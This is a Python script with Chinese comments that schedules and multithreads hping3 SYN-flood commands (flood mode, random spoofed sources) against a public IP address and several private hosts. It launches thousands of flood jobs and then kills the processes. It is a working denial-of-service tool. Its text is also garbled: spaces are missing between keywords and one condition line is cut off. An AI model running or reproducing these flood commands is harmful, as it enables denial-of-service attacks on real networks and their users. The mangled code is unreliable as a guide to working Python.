#!/usr/bin/env python#-*- coding=utf-8 -*-
importqueueimportthreadingimportcontextlibimportsys, time, multiprocessing, datetime, os#---------- #
classMyCustomError(Exception):def __init__(self, msg=None, retcode=4999):
self.retcode=int(retcode)try:if notmsg:
msg= "Setting time is less than the current time Error."
except:
msg= "Unknown Error!!!"Exception.__init__(self, self.retcode, msg)#---------- #
classFormatDatetime():'''Use method:
FormatDatetime.become_timestamp("2018-08-21 13:19:00")'''@staticmethoddefbecome_timestamp(dtdt):#将时间类型转换成时间戳
ifisinstance(dtdt, datetime.datetime):
timestamp=time.mktime(dtdt.timetuple())returntimestampelifisinstance(dtdt, str):if dtdt.split(" ")[1:]:
a_datetime= datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S")
timestamp=time.mktime(a_datetime.timetuple())else:
a_datetime= datetime.datetime.strptime(dtdt, "%Y-%m-%d")
timestamp=time.mktime(a_datetime.timetuple())returntimestampelifisinstance(dtdt, float):returndtdt#---------- #
deftimer(arg):'''use method:
timer(14)
:param arg: 倒计时时间
:return: True'''
#倒计时时间
back_time =argwhile back_time !=0:
sys.stdout.write('\r') ##意思是打印在清空
back_time -= 1sys.stdout.write("%s" %(int(back_time)))
sys.stdout.flush()
time.sleep(1)returnTrue#---------- #
classTasks:
@staticmethoddefstart():
ip1= "42.93.48.16" #8008,8088
ip2 = "192.168.2.141" #57511
ip3 = "192.168.2.147" #8082
adjure2 = """hping3 -c 500000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2)
adjure3= """hping3 -c 500000 -d 120 -S -w 64 -p 8072 -a 10.10.10.10 --flood --rand-source {}""".format(ip3)
adjure1= """hping3 -c 500000 -d 120 -S -w 64 -p 8082 -a 10.10.10.10 --flood --rand-source {}""".format(ip1)
os.system(adjure2)
@staticmethoddefstop():
adjure= """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}"""os.system(adjure)#---------- #
defslow_worker():'''你的自定义任务, 需要执行的代码
:return:'''
print('Starting worker')
time.sleep(0.1)print('Finished worker')
Tasks.start()#---------- #
defcrontab_time(custom_time):#custom_time = "2018-08-21 13:44:00"
date_time =FormatDatetime.become_timestamp(custom_time)
now_time=time.time()#余数, 有小数
remainder_data = int(date_time -now_time)if remainder_data <0:raiseMyCustomErrorelse:while remainder_data >0:
remainder_data-= 1time.sleep(1)returnTrue#---------- #
def my_crontab(custom_time='', frequency=1, countdown=20):'''几点几分执行任务
此函数属于业务逻辑, 可以考虑再次封装
custom_time = "2018-08-21 13:19:00" 时间格式必须是这样
frequency = 1 # 频次
countdown = 0 # 倒计时多少s
:return:'''
ifcustom_time:
crontab_time_status=crontab_time(custom_time)ifcrontab_time_status:for i inrange(frequency):
p= multiprocessing.Process(target=slow_worker)
p.start()ifcountdown:
status=timer(countdown)ifstatus:
p.terminate()
Tasks.stop()else:for i inrange(frequency):
p= multiprocessing.Process(target=slow_worker)
p.start()ifcountdown:
status=timer(countdown)ifstatus:
p.terminate()
Tasks.stop()
StopEvent=object()#---------- #
classThreadPool(object):def __init__(self, max_num):
self.q=queue.Queue()
self.max_num=max_num
self.terminal=False
self.generate_list=[]
self.free_list=[]def run(self, func, args, callback=None):"""线程池执行一个任务
:param func: 任务函数
:param args: 任务函数所需参数
:param callback: 任务执行失败或成功后执行的回调函数,回调函数有两个参数1、任务函数执行状态;2、任务函数返回值(默认为None,即:不执行回调函数)
:return: 如果线程池已经终止,则返回True否则None"""
if len(self.free_list) == 0 and len(self.generate_list)
self.generate_thread()
w=(func, args, callback,)
self.q.put(w)defgenerate_thread(self):"""创建一个线程"""t= threading.Thread(target=self.call)
t.start()
@contextlib.contextmanagerdefworker_state(self, xxx, val):
xxx.append(val)try:yield
finally:
xxx.remove(val)defcall(self):"""循环去获取任务函数并执行任务函数"""current_thread=threading.currentThread
self.generate_list.append(current_thread)
event=self.q.get()while event !=StopEvent:
func, arguments, callback=eventtry:
result= func(*arguments)
status=TrueexceptException as e:
status=False
result=eif callback is notNone:try:
callback(status, result)exceptException as e:pass
if self.terminal: #False
event =StopEventelse:#self.free_list.append(current_thread)
#event = self.q.get()
#self.free_list.remove(current_thread)
with self.worker_state(self.free_list, current_thread):
event=self.q.get()else:
self.generate_list.remove(current_thread)defclose(self):
num=len(self.generate_list)whilenum:
self.q.put(StopEvent)
num-= 1
#终止线程(清空队列)
defterminate(self):
self.terminal=Truewhileself.generate_list:
self.q.put(StopEvent)
self.q.empty()if __name__ == '__main__':
pool= ThreadPool(10)for i in range(1, 100):for item in range(3000):
pool.run(func=my_crontab, args=('', 1, 60))
time.sleep(5 * 0.5)
pool.terminate()
os.system("ps -aux | grep aa.py |grep -v grep | awk '{print $2}' | xargs -i -t kill -9 {}")